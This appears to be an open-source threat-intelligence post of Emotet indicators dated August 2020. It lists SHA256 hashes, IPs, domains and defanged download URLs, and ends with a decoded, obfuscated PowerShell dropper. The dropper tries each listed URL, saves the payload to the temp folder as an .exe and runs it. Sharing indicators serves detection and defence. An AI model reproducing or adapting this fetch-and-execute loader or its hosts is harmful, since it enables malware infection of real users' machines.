Emotet_Doc_out_2020-08-15_16_03.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

261969230b69fd1cc8859e6cb4732a681bca9e0e959e51842d208c195213815e
72e7964c7102bfa9af7a0be32f58dbb6260617a4bf71022680d267e1e40a45c0
9aa8e063d4de686799152d4e3fc6311ce03e93198134deaa12d0db1508488c66
02e13d73ecd528b2cf8e528ad97ffd6dae1b2e3e6e443fe37a6877919d9de1c1
80d4aebc98c2d2c77e1a9e3a6c7efc391f37e1f7386d7943bffa74d5d5a29eae
1b39be78e4a9dcf0458797a0b8005c3870eb2abe8904cf928a390a0736e61e8d
a28f63a94422fd370322463cd4774f2489e88d82b33ede3f27a7adacf8bdba0a
806bed790ba4a1e803d17e03ff189d2bc6d9e7a4496ad174aa18124aa1714a82
22793e7b135a29f47406d071e97dfebe1cee5c3aa631a93fc6b5878ea7bc8480
9a8ff256d3ac005a5fe6a2c9bc2442c5a8aa7ad2e210608cd8e2bfca102a28fc
92a6864bd1ab72485051f363a48dc2a642284e72025401ef2566c8cc31e3ef07
fdb61831707b301da17de13bbea54179383f6f6f09c7e558b38e4e81e78f2966
df3928b9a32f99a1cbc8627cbf095df3f21e9f71f42f84ec77bb49d965f306b1
58fc6df98de88f6886dc6bbca2566fae07cf2641a38113fdbc67b011e81296d0
6489603b61e93998d4f76eb05db075cdd7001a17873ca26b83869880a12aa4fd
2fabcc2eb662a103f6fb0067a2d8f0b522149acda448296223c7fe79bdc2e2ea
a23d42930b2a24a6264c1a35bba0a4200aa1e839a8c408d5371d3fbc77080337
5c8e01a6e3b993e5bcdc4b97ffa269f588672a536c944ec4234ada7b8c9a7566
c377dc79e60a07fedd6917cb54f6488abd8bc32518e611f3bc0af5114c86b9b9
ae57a693f14a99d743ef184eee54eb1e7bcca0af0afa5916fbb39b8e2906acec
f27a13f30a0a62d0b81b0dfc84a64023210e2dc420083ff862af9a1ba51702cd
350eff004a6063cbfc45e6a83476032b41fffec9902f2240250d81458e81c714
77ea5508dc362b09362753c297cd9d49d2ef9460149be6e4bd869134a27375d2
3eeb9ea0089f10f1db7ad6ece0067ef452980b2db0842716b232de6ec22eb0ac
af18ef4bdd9624e1c9cf388efe28158dc19f0d506631dba9440780154fe68f8b
180477b92b3bf7d69b02af387ab42a2ecf08c6acddb52cb5a2de7c8f39ec7f58
e4129aaa6605c40a21190c2e2aa2b69064989769e8178b8e3023951022eb0a26
0f66bd662c52e3cbc7af5fc1bf2b877c06965a6c276d4ff6ea2dd8aa22273d24
9577843fa24ed4ebc24ae7e8cb7c73c1f2dad112ebd0f9eaa65cb9512750c4c5
89cb3ebc887d5a3d8e60a1c6d07ba72c3a3b0985933d4f47bb23284b4f7947a7
f459c6f45a6dcaad9d11f1ad70662c64a3daf6d066282b5b6626b3e281767f29
4277af4aea547eeb89b49825bfa0ae17686669afea0350b9850d3ad6ce0928b6
4ac2ea7a4562ab7ea7c23ad733c0e4d0767936120e16b62e0248ce2af1beec1f
786999121e626bfe51caeb919834a7203f54369b39681cfd2b71fbd653d25842
3aeb854be075e3c18902edfe885d185c62571b0cd1e42d21a4c97c8487557fe4
15f3fb6dfa920996f70baeb95d6a459700a4d0822b25ec3ea7a37ea056b76977
c4b7da28a9918d631e77295dc0a70642575160097871cb03142029c94bae08a0
40f8be090c2e10a4175b11315d5adbd548b1a079fb450c6ff18b82b5ad0d75cc
eab20959bc5079c5ec1b36810cc4511087f90d989ca29d297bb6b000c7bcdcc0
efaf2ad634e680575e71775d7e7081272a70e9d96a70a2da8691a0e4e95f21ae
cebc1f02cb5c7f918e32b0703c5cea992c71ac183a21cbe3033ba9c9521ea186
757ef17c5551173f0ba443d3e6baf9b6600c1bd38ab52892958ae12141662451
fa32b3496f672c072efeef0acc1a6083d4a8512e1497629916d25cb5959b217d
d21e337aaf448ac1f48e339dde2dff2719ea8ae8d7d5ff4a070564171f6fdc4f
20b5fe3df17577ba36793f482655e5d429026de6d15d597500974aafc42a5d1a
8a353949d368ecad1fb8070ce4c8ce7123a4382a4a7a88258f527458a872fbcc
4be044e8ae561c5cbdef9abc83f43efa896fd0506ea37a1ba2dd6e800d85800b
d6491fe33e3ff96d8d86139e175e0b8dea1bb40b5e6ec2d269b64c52abebaf48
dae18dd9a3dbbfc06b5e5c10fc7dc93c670a0c191d7cb7065e9d478503274567
d280e227bf8f239b7adc178b4a9e7b153fd8119b6fd91069c015d10d7fc2bd81
dd45ce6c1f1a9a801eec41b431fdd298ab6e17be0173a547471ba404e4dd6e47
59931fc10797afb244cd5fad842662e6195c228946e63c010c8d619147c57a21
2486ff293e8a4ed2b40e6f8292e89850dacdf4d0cc14a085ae4b82cca605c08e
982fda87df85acd7be68a483e75bb74daff74fe842e65b73bf0e5ca086e6a218
f331d4c27ee924006b6870864d5a4b2d782d022b7411fc7fcd0b275cec1e62ec
32f1dada1992240b8ebfbae0d0e47bcc55d728959815a00a4f35cd597e66a1b9
715b876221f1b5e1bcb052a019ee033638ba9829c8ee712edc2ef66cc27c0e7d
89be56f2171aac406225ad8b7957911c80c37c582c9f098819773151140c12a0
b9d2bc9624f1e81b007fd1d89170294eb6eb29c779f83f4e75576a0fa3fa421a
4519aeb43efa936084622c8f8242eb04c7431ed323c6d40f41cf43b0cc8ae6bf
c2f8abe9dc32fb20612f5f8ea8cadb998093c3bb498276b68aa67a9bd803b955
8d4e3c0427c6999f24dae1b38c8b71e8b00987df6e428b8360088c36959c5b1f
55f8854dbcaa2832aa10f768c129ab27544b5b153c7e4ea008f7ae9444681eec
1e92ceb6bb669470e01b3dc1f893716a85d0235930c8f12fa75ec15d9b1b4527
3716939e1978d6cb17e1ce4a6d735e0dd7794a0a96038176d6117295c27c6363
489e84c61f0e1903d9276dc7bba7fe7f936f26076d1276f41c8c52b3e3f2ffaf

IPs:
118.127.60.139
40.119.6.228
75.139.38.211

Domains:

pmanquetil.com
hsshivling.com
vtescebu.com
congcuphongthan.com
glashandelmaxima.nl

hxxps://pmanquetil.com/wp-admin/0f_aufka_yxuwpl/
hxxps://hsshivling.com/9efesfwep/b7xi_dys_5menh13/
hxxp://vtescebu.com/wp-content/upgrade/qo_4f_q/
hxxp://congcuphongthan.com/mainto/p_e9_nzbfcj04oi/
hxxp://glashandelmaxima.nl/wp-admin/ivtu_6l7_yyn42mu35/


Decoded Base64 Powershell:
$Cn4n1dd='Ohwvpxf';
[Net.ServicePointManager]::"Se`c`Uri`TYp`Rot`OcoL" = 'tls12, tls11, tls';
$Wa065ot = 'Ejxs';
$Mhsk3_t='Xctws71';
$Phfm2mj=$env:temp+'\'+$Wa065ot+'.exe';
$Y87te43='Sysi74s';
$Ywrmgwt=&('n'+'ew-objec'+'t') NeT.wEBCLIenT;
$Qa9og68='hxxps://pmanquetil.com/wp-admin/0f_aufka_yxuwpl/
hxxps://hsshivling.com/9efesfwep/b7xi_dys_5menh13/
hxxp://vtescebu.com/wp-content/upgrade/qo_4f_q/
hxxp://congcuphongthan.com/mainto/p_e9_nzbfcj04oi/
hxxp://glashandelmaxima.nl/wp-admin/ivtu_6l7_yyn42mu35/'."s`PlIT"([char]42);
$Rup77sv='O9qsyad';
foreach($Ab34_2j in $Qa9og68){try{$Ywrmgwt."DoWNl`oADf`I`le"($Ab34_2j, $Phfm2mj);
$Xtiqah6='L0ueslk';
If ((.('Get'+'-Item') $Phfm2mj)."le`Ngth" -ge 22180) {.('Invo'+'ke-I'+'te'+'m')($Phfm2mj);
$P09r62q='E0hmj71';
break;
$Zlnuc9r='Tq89rij'}}catch{}}$J0ccgcc='Ud5iylf'